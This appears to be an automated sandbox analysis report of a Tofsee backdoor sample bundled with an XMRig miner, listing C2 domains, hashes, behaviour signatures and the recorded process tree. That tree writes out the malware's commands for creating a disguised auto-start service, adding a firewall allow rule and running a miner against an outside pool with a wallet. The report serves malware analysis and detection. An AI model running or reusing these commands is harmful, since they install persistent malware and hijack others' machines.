Analysis

  • max time kernel
    161s
  • max time network
    164s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/11/2022, 23:13

General

  • Target
    file.exe
  • Size 240KB
  • Sample221116-27dshsdc65
  • SHA256 ed39fa2c5e5ceb95ae7d27b3c6353696313d931afa511c6c9ed20fdf3fedc368
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1928
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jrithpqe\
      2⤵
        PID:4460
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qftqjplo.exe" C:\Windows\SysWOW64\jrithpqe\
        2⤵
          PID:2876
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jrithpqe binPath= "C:\Windows\SysWOW64\jrithpqe\qftqjplo.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:392
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description jrithpqe "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1424
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start jrithpqe
          2⤵
          • Launches sc.exe
          PID:224
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2192
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1928 -s 1160
          2⤵
          • Program crash
          PID:3600
      • C:\Windows\SysWOW64\jrithpqe\qftqjplo.exe
        C:\Windows\SysWOW64\jrithpqe\qftqjplo.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3076
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3908
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3032
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3076 -s 512
          2⤵
          • Program crash
          PID:2092
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1928 -ip 1928
        1⤵
          PID:1848
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 3076 -ip 3076
          1⤵
            PID:2432

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                qftqjplo.exe

                • Path C:\Users\Admin\AppData\Local\Temp\qftqjplo.exe
                • Size 13.8MB
                • SHA256 96f1adde5b785ba0d2b175f682fc79f0f6ab2a01f685ea259018c5e7d43fc6a9
                • MD5 SHA1 SHA512 SSDEEP

                qftqjplo.exe

                • Path C:\Windows\SysWOW64\jrithpqe\qftqjplo.exe
                • Size 13.8MB
                • SHA256 96f1adde5b785ba0d2b175f682fc79f0f6ab2a01f685ea259018c5e7d43fc6a9
                • MD5 SHA1 SHA512 SSDEEP

                memory/1928-132-0x0000000000917000-0x000000000092C000-memory.dmp

                memory/1928-134-0x0000000000400000-0x000000000083F000-memory.dmp

                memory/1928-133-0x0000000000880000-0x0000000000893000-memory.dmp

                memory/1928-143-0x0000000000400000-0x000000000083F000-memory.dmp

                memory/3032-176-0x0000000001200000-0x00000000012F1000-memory.dmp

                memory/3032-171-0x0000000001200000-0x00000000012F1000-memory.dmp

                memory/3076-148-0x0000000000A02000-0x0000000000A17000-memory.dmp

                memory/3076-150-0x0000000000400000-0x000000000083F000-memory.dmp

                memory/3908-151-0x0000000000610000-0x0000000000625000-memory.dmp

                memory/3908-152-0x0000000002200000-0x000000000240F000-memory.dmp

                memory/3908-155-0x00000000007E0000-0x00000000007E6000-memory.dmp

                memory/3908-158-0x00000000007F0000-0x0000000000800000-memory.dmp

                memory/3908-161-0x00000000019D0000-0x00000000019D5000-memory.dmp

                memory/3908-164-0x0000000007200000-0x000000000760B000-memory.dmp

                memory/3908-167-0x00000000019E0000-0x00000000019E7000-memory.dmp

                memory/3908-149-0x0000000000610000-0x0000000000625000-memory.dmp

                memory/3908-145-0x0000000000610000-0x0000000000625000-memory.dmp